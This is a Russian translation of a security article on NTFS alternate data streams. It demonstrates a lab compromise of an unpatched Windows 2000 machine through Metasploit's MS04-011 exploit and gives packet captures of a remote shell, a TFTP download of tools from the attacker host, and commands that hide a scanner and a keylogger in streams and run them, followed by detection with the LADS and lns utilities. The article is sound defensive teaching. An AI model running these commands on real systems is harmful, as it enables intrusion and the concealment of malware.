Альтернативные потоки данных NTFS

Альтернативные потоки данных NTFS

Цель этой статьи – описание альтернативных потоков данных в Microsoft Windows, демонстрация того, как их можно создать, скомпрометировав машину, используя Metasploit Framework и как можно обнаружить с помощью свободно распространяемых утилит.

Дон Паркер, перевод Владимир Куксенок

1. Введение

Цель этой статьи – описание альтернативных потоков данных в Microsoft Windows, демонстрация того, как их можно создать, скомпрометировав машину, используя Metasploit Framework и как можно обнаружить с помощью свободно распространяемых утилит.

Для начала мы определимся в том, что из себя представляют альтернативные потоки данных и какую угрозу они могут представлять для вашей организации. Затем мы рассмотрим пример компрометации удаленной машины с помощью эксплойта, предоставляющего доступ к командному интерпретатору и позволяющего скрывать файлы на компьютере жертвы. После этого, мы рассмотрим некоторые свободно распространяемые утилиты, которые могут быть использованы для определения и предотвращения такой активности. Начнем.

2. Что такое альтернативные потоки данных

Альтернативные потоки данных появились в ОС Windows NT с введением файловой системы NTFS. Что же такое альтернативные потоки данных? В сущности, они были созданы для обеспечения совместимости в HFS (устаревшей файловой системой Macintosh). Суть организации HFS состоит в раздвоение файла на файл данных и файл ресурсов. В файле данных находится содержимое документа, а в файле ресурсов - идентификатор типа файла и другие свойства.

На сегодняшний день не всем известно о существовании альтернативных потоков данных. Однако какое-то время они использовались некоторыми не лучшими представителями сообщества специалистов безопасности. Было отмечено увеличение использования этих потоков злонамеренными хакерами, желающими спрятать свои файлы сразу после компрометации компьютера. Кроме этого, было замечено, что некоторые вирусы и другие типы злонамеренного ПО также используют альтернативные потоки данных. Проблема в том, что эти потоки нельзя просмотреть, используя стандартные методы, через командную строку или с помощью Windows Explorer.

Как же обнаружить злонамеренное использование альтернативных потоков данных? Необходимо следить за повышением использования таких потоков. Даже если учесть, что корпоративный объект хорошо защищен, нужно иметь в виду, что не все антивирусные средства в конфигурации по умолчанию проверяют альтернативные потоки данных. В настоящее время большая часть антивирусных продуктов находит эти потоки, но только после дополнительной настройки.

3. Пример использования альтернативных потоков данных

Чтобы действительно осознать опасность, которую представляют альтернативные потоки данных, нужно увидеть практическую демонстрацию их злонамеренного использования. К концу этой статьи читатель, с помощью Metasploit Framework, получит доступ к удаленному компьютеру с правами системы. В действительности, в соответствии с целями статьи, это будет не реальная машина, а тестовая, подготовленная специально для наших исследований.

Однако использование специального тестового компьютера никак не повлияет на результат. Чтобы доказать возможность атаки, не нужно атаковать реальный компьютер через Интернет.

В данном примере мы проникнем в компьютер, используя Metasploit Framework. Эксплойт, который я буду использовать основан на уязвимости MS04-011, также известной в Metasploit как “lsass overflow”. Для загрузки набора файлов, который мы хотим спрятать, будем использовать протокол TFTP. Затем эти файлы будут помещены в альтернативные потоки данных существующих файлов, найденных на уязвимом компьютере, что ясно продемонстрирует возможность их злонамеренного использования.

Как только эти действия будут завершены, сканер, загруженный на компьютер, будет удаленно запущен и начнется поиск других уязвимых машин во внутренней сети. H. D. Moore, один из соавторов Metasploit Framework, внедрил в эксплойт ASCII строку “METASPLOIT”. Можно предположить, что это было сделано для того, чтобы производители IDS смогли создать сигнатуру для его утилиты. Взгляните на пакет, отправленный с атакующего компьютера, показанный ниже, в котором можно заметить эту строку.

10:38:49.665427 IP (tos 0x0, ttl  64, id 2924, offset 0, flags [DF], 
length: 152) 192.168.1.102.32776 > 192.168.1.101.139: P [tcp sum ok] 
771689123:771689223(100) ack 3530170662 win 5840 <nop,nop,timestamp 
1376570 6356> NBT Packet
0x0000	 4500 0098 0b6c 4000 4006 aad8 c0a8 0166	E....l@.@......f
0x0010	 c0a8 0165 8008 008b 2dff 0aa3 d26a 2126	...e....-....j!&
0x0020	 8018 16d0 d4ea 0000 0101 080a 0015 013a	...............:
0x0030	 0000 18d4 0000 0060 ff53 4d42 7200 0000	.......`.SMBr...
0x0040	 0018 0120 0000 0000 0000 0000 0000 0000	................
0x0050	 0000 c912 0000 18d9 003d 0002 4d45 5441	.........=..META
0x0060	 5350 4c4f 4954 0002 4c41 4e4d 414e 312e	SPLOIT..LANMAN1.
0x0070	 3000 024c 4d31 2e32 5830 3032 0002 4e54	0..LM1.2X002..NT
0x0080	 204c 414e 4d41 4e20 312e 3000 024e 5420	.LANMAN.1.0..NT.
0x0090	 4c4d 2030 2e31 3200                    	LM.0.12.

Обратите внимание, 192.168.1.102 – атакующий компьютер, использующий Metasploit Framework, а 192.168.1.101 – компьютер жертвы, на котором установлена ОС Windows 2000 Professional. Инсталляция W2K свежая, без каких-либо исправлений или пакетов обновлений, используется только для демонстрационных целей. Имейте в виду, что для злонамеренного использования альтернативных потоков данных, в первую очередь нужно найти машину с уязвимостью, годной к использованию. Не обновленная Windows 2000 в данном случае используется только для демонстрации, в реальной жизни для реализации атаки на обновленную систему потребовался бы другой эксплойт.

Ниже мы можем увидеть, что атака прошла успешно. Наша атакующая машина получила доступ к командной строке на компьютере жертвы. Порт 4321 – порт, используемый по умолчанию для lsass эксплойта в Metasploit. При желании он может быть изменен.

10:38:50.071766 IP (tos 0x0, ttl 128, id 85, offset 0, flags [DF], 
length: 82) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
3530253951:3530253993(42) ack 758421802 win 17520
0x0000	 4500 0052 0055 4000 8006 7635 c0a8 0165	E..R.U@...v5...e
0x0010	 c0a8 0166 0406 10e1 d26b 667f 2d34 992a	...f.....kf.-4.*
0x0020	 5018 4470 095f 0000 4d69 6372 6f73 6f66	P.Dp._..Microsof
0x0030	 7420 5769 6e64 6f77 7320 3230 3030 205b	t.Windows.2000.[
0x0040	 5665 7273 696f 6e20 352e 3030 2e32 3139	Version.5.00.219
0x0050	 355d                                   	5]

10:38:50.071943 IP (tos 0x0, ttl 128, id 86, offset 0, flags [DF], 
length: 83) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
3530253993:3530254036(43) ack 758421802 win 17520
0x0000	 4500 0053 0056 4000 8006 7633 c0a8 0165	E..S.V@...v3...e
0x0010	 c0a8 0166 0406 10e1 d26b 66a9 2d34 992a	...f.....kf.-4.*
0x0020	 5018 4470 89be 0000 0d0a 2843 2920 436f	P.Dp......(C).Co
0x0030	 7079 7269 6768 7420 3139 3835 2d32 3030	pyright.1985-200
0x0040	 3020 4d69 6372 6f73 6f66 7420 436f 7270	0.Microsoft.Corp
0x0050	 2e0d 0a                                	...

10:38:50.072162 IP (tos 0x0, ttl 128, id 88, offset 0, flags [DF], 
length: 58) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
3530254038:3530254056(18) ack 758421802 win 17520
0x0000	 4500 003a 0058 4000 8006 764a c0a8 0165	E..:.X@...vJ...e
0x0010	 c0a8 0166 0406 10e1 d26b 66d6 2d34 992a	...f.....kf.-4.*
0x0020	 5018 4470 b1b4 0000 433a 5c57 494e 4e54	P.Dp....C:\WINNT
0x0030	 5c73 7973 7465 6d33 323e               	\system32>
Теперь по протоколу TFTP начинается передача файлов от атакующего на скомпрометированный компьютер. Обратите внимание на команду, которая была передана командному интерпретатору, приказывающую жертве загрузить файл ipeye.exe.
10:40:50.631410 IP (tos 0x0, ttl  64, id 39780, offset 0, flags [DF], 
length: 76) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok] 
758421827:758421863(36) ack 3530255290 win 6432
0x0000	 4500 004c 9b64 4000 4006 1b2c c0a8 0166	E..L.d@.@..,...f
0x0010	 c0a8 0165 10e1 0406 2d34 9943 d26b 6bba	...e....-4.C.kk.
0x0020	 5018 1920 8b78 0000 7466 7470 202d 6920	P....x..tftp.-i.
0x0030	 3139 322e 3136 382e 312e 3130 3220 4745	192.168.1.102.GE
0x0040	 5420 6970 6579 652e 6578 650a          	T.ipeye.exe.

10:40:50.631981 IP (tos 0x0, ttl 128, id 123, offset 0, flags [DF], 
length: 76) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
3530255290:3530255326(36) ack 758421863 win 17459
0x0000	 4500 004c 007b 4000 8006 7615 c0a8 0165	E..L.{@...v....e
0x0010	 c0a8 0166 0406 10e1 d26b 6bba 2d34 9967	...f.....kk.-4.g
0x0020	 5018 4433 6041 0000 7466 7470 202d 6920	P.D3`A..tftp.-i.
0x0030	 3139 322e 3136 382e 312e 3130 3220 4745	192.168.1.102.GE
0x0040	 5420 6970 6579 652e 6578 650a          	T.ipeye.exe.
Загрузка файлов будет продолжаться до тех пор, пока мы не получим 4 файла: ipeye.exe, psexec.exe, pslist.exe, и klogger.exe. Для краткости я не стал приводить последовательную передачу пакетов. Ниже показано содержимое директории, содержащей загруженные файлы, на компьютере жертвы после завершения передачи. Имя этой директории - c:\compaq\.
10:43:11.263385 IP (tos 0x0, ttl 128, id 735, offset 0, flags [DF], 
length: 543) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
3530256009:3530256512(503) ack 758422019 win 17303
0x0000	 4500 021f 02df 4000 8006 71de c0a8 0165	E.....@...q....e
0x0010	 c0a8 0166 0406 10e1 d26b 6e89 2d34 9a03	...f.....kn.-4..
0x0020	 5018 4397 e869 0000 0d0a 3132 2f30 352f	P.C..i....12/05/
0x0030	 3230 3034 2020 3039 3a33 3061 2020 2020	2004..09:30a....
0x0040	 2020 2020 2020 2020 2020 3332 2c37 3638	..........32,768
0x0050	 2069 7065 7965 2e65 7865 0d0a 3132 2f30	.ipeye.exe..12/0
0x0060	 352f 3230 3034 2020 3039 3a33 3261 2020	5/2004..09:32a..
0x0070	 2020 2020 2020 2020 2020 2020 3332 2c37	............32,7
0x0080	 3638 206b 6c6f 6767 6572 2e65 7865 0d0a	68.klogger.exe..
0x0090	 3132 2f30 352f 3230 3034 2020 3039 3a33	12/05/2004..09:3
0x00a0	 3161 2020 2020 2020 2020 2020 2020 2031	1a.............1
0x00b0	 3433 2c33 3630 2070 7365 7865 632e 6578	43,360.psexec.ex
0x00c0	 650d 0a31 322f 3035 2f32 3030 3420 2030	e..12/05/2004..0
0x00d0	 393a 3331 6120 2020 2020 2020 2020 2020	9:31a...........
0x00e0	 2020 2038 362c 3031 3620 7073 6c69 7374	...86,016.pslist
0x00f0	 2e65 7865 0d0a 3132 2f30 342f 3230 3034	.exe..12/04/2004
0x0100	 2020 3032 3a31 3270 2020 2020 2020 3c44	..02:12p......<D
0x0110	 4952 3e20 2020 2020 2020 2020 2053 5032	IR>..........SP2
0x0120	 3132 3633 0d0a 3132 2f30 352f 3230 3034	1263..12/05/2004
0x0130	 2020 3039 3a30 3161 2020 2020 2020 2020	..09:01a........
0x0140	 2020 2020 2020 2020 2020 3132 2074 6573	..........12.tes
0x0150	 745f 6669 6c65 0d0a 3132 2f30 352f 3230	t_file..12/05/20
0x0160	 3034 2020 3039 3a30 3261 2020 2020 2020	04..09:02a......
0x0170	 2020 2020 2020 2020 2020 2020 3133 2074	............13.t
0x0180	 6573 745f 6669 6c65 320d 0a31 322f 3035	est_file2..12/05
0x0190	 2f32 3030 3420 2030 393a 3032 6120 2020	/2004..09:02a...
0x01a0	 2020 2020 2020 2020 2020 2020 2020 2031	...............1
0x01b0	 3320 7465 7374 5f66 696c 6533 0d0a 3132	3.test_file3..12
0x01c0	 2f30 352f 3230 3034 2020 3039 3a30 3361	/05/2004..09:03a
0x01d0	 2020 2020 2020 2020 2020 2020 2020 2020	................
0x01e0	 2020 3133 2074 6573 745f 6669 6c65 340d	..13.test_file4.
0x01f0	 0a31 322f 3035 2f32 3030 3420 2030 393a	.12/05/2004..09:
0x0200	 3332 6120 2020 2020 2020 2020 2020 2020	32a.............
0x0210	 2020 2020 2020 3020 5446 5450 3738 30  	......0.TFTP780
Ниже мы видим, как атакующий удаляет файл “tftp780” из этой директории. Это доказывает возможность удаления файлов.
10:45:56.901024 IP (tos 0x0, ttl  64, id 39855, offset 0, flags [DF], 
length: 55) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok] 
758422044:758422059(15) ack 3530258111 win 10720
0x0000	 4500 0037 9baf 4000 4006 1af6 c0a8 0166	E..7..@.@......f
0x0010	 c0a8 0165 10e1 0406 2d34 9a1c d26b 76bf	...e....-4...kv.
0x0020	 5018 29e0 a342 0000 6465 6c20 2f46 2074	P.)..B..del./F.t
0x0030	 6674 7037 3830 0a                      	ftp780.
Теперь атакующий помещает исполняемый файл ipeye.exe в альтернативный поток данных, ассоциированный с существующим файлом test_file. Команда, осуществляющая эти действия, имеет следующий синтаксис:
type ipeye.exe > test_file:ipeye.exe

10:47:44.391095 IP (tos 0x0, ttl  64, id 39873, offset 0, flags [DF], 
length: 77) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok] 
758422063:758422100(37) ack 3530258892 win 11792
0x0000	 4500 004d 9bc1 4000 4006 1ace c0a8 0166	E..M..@.@......f
0x0010	 c0a8 0165 10e1 0406 2d34 9a2f d26b 79cc	...e....-4./.ky.
0x0020	 5018 2e10 7cc8 0000 7479 7065 2069 7065	P...|...type.ipe
0x0030	 7965 2e65 7865 203e 2074 6573 745f 6669	ye.exe.>.test_fi
0x0040	 6c65 3a69 7065 7965 2e65 7865 0a       	le:ipeye.exe.

10:47:44.391676 IP (tos 0x0, ttl 128, id 789, offset 0, flags [DF], 
length: 77) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
3530258892:3530258929(37) ack 758422100 win 17222
0x0000	 4500 004d 0315 4000 8006 737a c0a8 0165	E..M..@...sz...e
0x0010	 c0a8 0166 0406 10e1 d26b 79cc 2d34 9a54	...f.....ky.-4.T
0x0020	 5018 4346 676d 0000 7479 7065 2069 7065	P.CFgm..type.ipe
0x0030	 7965 2e65 7865 203e 2074 6573 745f 6669	ye.exe.>.test_fi
0x0040	 6c65 3a69 7065 7965 2e65 7865 0a       	le:ipeye.exe.
Процесс скрытия оставшихся трех файлов, загруженных на скомпрометированный хост, закончен. Они скопированы в альтернативные потоки данных существующего файла на компьютере жертвы. Точно также вы можете скопировать файл в поток каталога, например C:\.

Затем мы запустим psexec.exe на компьютере жертвы, который в свою очередь запустит сканер ipeye.exe, находящийся в альтернативном потоке данных c:\Compaq\test_file:ipeye.exe. Заметьте, я использую копию psexec.exe, находящуюся не в потоке, а в самой директории.

Существует много способов запуска программы на Win32 компьютере. Один из вариантов создания процесса – использование команды “start”, что является простым решением, не оставляющим следов на машине жертвы. Некоторые хакеры вместо этого для запуска программы могут использовать bat-файл или другие средства. Фактически алгоритм работы хакеры не всегда может быть известен, и мы должны помнить – не все хакеры одинаковы. Подозрительные действия многих хакеров можно изучить, используя honeynet. Причина, по которой psexec.exe был выбран для этой статьи, очень проста – набор свободно распространяемых утилит, предоставляемых Sysinternals, часто используется хакерами. Поэтому для придания реализма статье я решил использовать именно их. Итак, продвинемся дальше и рассмотрим нижеприведенный пакет.
11:52:56.535800 IP (tos 0x0, ttl  64, id 40473, offset 0, flags [DF], 
length: 107) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok] 
758423689:758423756(67) ack 3530302032 win 58400
0x0000	 4500 006b 9e19 4000 4006 1858 c0a8 0166	E..k..@.@..X...f
0x0010	 c0a8 0165 10e1 0406 2d34 a089 d26c 2250	...e....-4...l"P
0x0020	 5018 e420 55ab 0000 7073 6578 6563 2e65	P...U...psexec.e
0x0030	 7865 2063 3a5c 636f 6d70 6171 5c74 6573	xe.c:\compaq\tes
0x0040	 745f 6669 6c65 3a69 7065 7965 2e65 7865	t_file:ipeye.exe
0x0050	 2031 3932 2e31 3638 2e31 2e31 3030 202d	.192.168.1.100.-
0x0060	 7379 6e20 2d70 2031 3339 0a            	syn.-p.139.

Этот пакет является результатом исполнения следующей команды:
psexec.exe c:\compaq\test_file:ipeye.exe 192.168.1.100 -syn -p 139
Утилита для сканирования, ipeye.exe, часто используется хакерами для дальнейшего проникновения в сеть. Обратите внимание, для тестирования я использовал еще один компьютер, имеющий IP адрес 192.168.1.100 и слушающий 139 порт. Однако, как хакер, пришедший из внешней сети, для того чтобы найти это компьютер, я должен был бы произвести сканирование внутренней сети, используя один из зарезервированных диапазонов IP адресов.
11:52:56.536785 IP (tos 0x0, ttl 128, id 2126, offset 0, flags [DF], 
length: 107) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
3530302032:3530302099(67) ack 758423756 win 17078
0x0000	 4500 006b 084e 4000 8006 6e23 c0a8 0165	E..k.N@...n#...e
0x0010	 c0a8 0166 0406 10e1 d26c 2250 2d34 a0cc	...f.....l"P-4..
0x0020	 5018 42b6 f6d2 0000 7073 6578 6563 2e65	P.B.....psexec.e
0x0030	 7865 2063 3a5c 636f 6d70 6171 5c74 6573	xe.c:\compaq\tes
0x0040	 745f 6669 6c65 3a69 7065 7965 2e65 7865	t_file:ipeye.exe
0x0050	 2031 3932 2e31 3638 2e31 2e31 3030 202d	.192.168.1.100.-
0x0060	 7379 6e20 2d70 2031 3339 0a            	syn.-p.139.

11:52:56.536816 IP (tos 0x0, ttl  64, id 40474, offset 0, flags [DF], 
length: 40) 192.168.1.102.4321 > 192.168.1.101.1030: . [tcp sum ok] 
ack 3530302099 win 58400
0x0000	 4500 0028 9e1a 4000 4006 189a c0a8 0166	E..(..@.@......f
0x0010	 c0a8 0165 10e1 0406 2d34 a0cc d26c 2293	...e....-4...l".
0x0020	 5010 e420 6fb0 0000                    	P...o...

11:52:56.546849 IP (tos 0x0, ttl 128, id 2127, offset 0, flags [DF], 
length: 166) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
3530302099:3530302225(126) ack 758423756 win 17078
0x0000	 4500 00a6 084f 4000 8006 6de7 c0a8 0165	E....O@...m....e
0x0010	 c0a8 0166 0406 10e1 d26c 2293 2d34 a0cc	...f.....l".-4..
0x0020	 5018 42b6 d271 0000 0d0a 5073 4578 6563	P.B..q....PsExec
0x0030	 2076 312e 3535 202d 2045 7865 6375 7465	.v1.55.-.Execute
0x0040	 2070 726f 6365 7373 6573 2072 656d 6f74	.processes.remot
0x0050	 656c 790d 0a43 6f70 7972 6967 6874 2028	ely..Copyright.(
0x0060	 4329 2032 3030 312d 3230 3034 204d 6172	C).2001-2004.Mar
0x0070	 6b20 5275 7373 696e 6f76 6963 680d 0a53	k.Russinovich..S
0x0080	 7973 696e 7465 726e 616c 7320 2d20 7777	ysinternals.-.ww
0x0090	 772e 7379 7369 6e74 6572 6e61 6c73 2e63	w.sysinternals.c
0x00a0	 6f6d 0d0a 0d0a                         	om....

11:52:56.546883 IP (tos 0x0, ttl  64, id 40475, offset 0, flags [DF], 
length: 40) 192.168.1.102.4321 > 192.168.1.101.1030: . [tcp sum ok] 
ack 3530302225 win 58400
0x0000	 4500 0028 9e1b 4000 4006 1899 c0a8 0166	E..(..@.@......f
0x0010	 c0a8 0165 10e1 0406 2d34 a0cc d26c 2311	...e....-4...l#.
0x0020	 5010 e420 6f32 0000                    	P...o2..

11:53:00.403951 IP (tos 0x0, ttl 128, id 2161, offset 0, flags [DF], 
length: 229) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
3530302225:3530302414(189) ack 758423756 win 17078
0x0000	 4500 00e5 0871 4000 8006 6d86 c0a8 0165	E....q@...m....e
0x0010	 c0a8 0166 0406 10e1 d26c 2311 2d34 a0cc	...f.....l#.-4..
0x0020	 5018 42b6 8c3c 0000 0d0a 6970 4579 6520	P.B..<....ipEye.
0x0030	 312e 3220 2d20 2863 2920 3230 3030 2d32	1.2.-.(c).2000-2
0x0040	 3030 312c 2041 726e 6520 5669 6473 7472	001,.Arne.Vidstr
0x0050	 6f6d 2028 6172 6e65 2e76 6964 7374 726f	om.(arne.vidstro
0x0060	 6d40 6e74 7365 6375 7269 7479 2e6e 7529	m@ntsecurity.nu)
0x0070	 0d0a 2020 2020 2020 2020 2020 2d20 6874	............-.ht
0x0080	 7470 3a2f 2f6e 7473 6563 7572 6974 792e	tp://ntsecurity.
0x0090	 6e75 2f74 6f6f 6c62 6f78 2f69 7065 7965	nu/toolbox/ipeye
0x00a0	 2f0d 0a0d 0a20 2031 2d31 3338 205b 6e6f	/......1-138.[no
0x00b0	 7420 7363 616e 6e65 645d 0d0a 2020 3133	t.scanned]....13
0x00c0	 3920 5b6f 7065 6e5d 0d0a 2020 3134 302d	9.[open]....140-
0x00d0	 3635 3533 3520 5b6e 6f74 2073 6361 6e6e	65535.[not.scann
0x00e0	 6564 5d0d 0a                           	ed]..
Анализируя приведенные пакеты, мы можем сделать вывод, что сканер портов отработал успешно. Мы получили информацию, что порт 139 на сканируемой машине действительно открыт. Так как этот компьютер находится в моей лаборатории, у меня есть возможности проверить и подтвердить результаты. Этот пример демонстрирует возможность злонамеренного использования потоков хакерами. Но нужно иметь в виду, что служащие компании потенциально могли скрыть такой нежелательный контент как порнография, юридически законный или незаконный в зависимости от конкретного места.

4. Решение проблемы

Теперь рассмотрим несколько утилит для обнаружения альтернативных потоков данных. Будет показано состояние системы до и после компрометации, чтобы было ясно видно, что альтернативные потоки данных появились только после взлома. Эти утилиты будут использоваться для подтверждения нашей демонстрации и проверки того, все ли из них смогли обнаружить наличие альтернативных потоков данных.

Что делать с проблемой злонамеренного использования альтернативных потоков данных. Есть несколько неплохих утилит, написанных талантливыми разработчиками Frank Heyne и Arne Vidstrom, которые позволяют обнаруживать альтернативные потоки данных.

Чтобы показать, что из себя представляют эти потоки и как их можно обнаружить будет показан снимок системы до компрометации и после. Для обнаружения альтернативных потоков данных в Windows 2000 мы воспользуемся утилитами lads и lns. Ниже показан вывод каждой из этих утилит, запущенных на недавно установленной W2K.
LADS - Freeware version 4.00
(C) Copyright 1998-2004 Frank Heyne Software (http://www.heysoft.de)
This program lists files with alternate data streams (ADS)
Use LADS on your own risk!

Scanning directory C:
      size  ADS in file
----------  ---------------------------------
Error 32 opening C:\pagefile.sys

The following summary might be incorrect because there was at least one error!

         0 bytes in 0 ADS listed

lns 1.0 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
-	http://ntsecurity.nu/toolbox/lns/
Как и ожидалось, ничего не найдено. Теперь посмотрите на вывод этих утилит, полученный после компрометации компьютера жертвы.
LADS - Freeware version 4.00
(C) Copyright 1998-2004 Frank Heyne Software (http://www.heysoft.de)
This program lists files with alternate data streams (ADS)
Use LADS on your own risk!

Scanning directory C:\compaq
      size  ADS in file
----------  ---------------------------------
     32768  C:\compaq\test_file:ipeye.exe
     32768  C:\compaq\test_file2:klogger.exe
    143360  C:\compaq\test_file3:psexec.exe
     86016  C:\compaq\test_file4:pslist.exe

    294912 bytes in 4 ADS listed

lns 1.0 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
        - http://ntsecurity.nu/toolbox/lns/

 c:\compaq\test_file
   - Alternative data stream [:ipeye.exe:$DATA]

 c:\compaq\test_file2
   - Alternative data stream [:klogger.exe:$DATA]

 c:\compaq\test_file3
   - Alternative data stream [:psexec.exe:$DATA]

 c:\compaq\test_file4
   - Alternative data stream [:pslist.exe:$DATA]
Как мы видим, вышеупомянутые утилиты успешно обнаружили созданные нами альтернативные потоки данных. Таким образом, используя свободно распространяемые утилиты, вы можете легко найти альтернативные потоки данных на вашем компьютере. Настоятельно рекомендуется производить такой поиск регулярно. В то время как некоторые производители антивирусов только начинают обращать внимание на альтернативные потоки данных, вы можете свободно использовать утилиту, созданную специально для обнаружения этих потоков.

5. Заключение

Альтернативные потоки данных в Windows NTFS являются реальной угрозой, которая, однако, может быть успешно минимизирована путем использования качественных средств защиты. Кроме этого, как было показано, обнаружить и идентифицировать альтернативные потоки данных можно с помощью двух свободно распространяемых утилит, что позволяет вовремя уведомить администратора об угрозе и дать ему время для адекватного реагирования. Имейте в виду, что в нашем случае использовалась тестовая машина с не обновленной версией Windows 2000, поэтому для реализации вышеописанного процесса на ОС с установленными пакетами обновлений нужно было бы использовать другой способ проникновения на компьютер, после успешного осуществления которого можно было бы создавать альтернативные потоки данных.

Ваша приватность умирает красиво, но мы можем спасти её.

Присоединяйтесь к нам!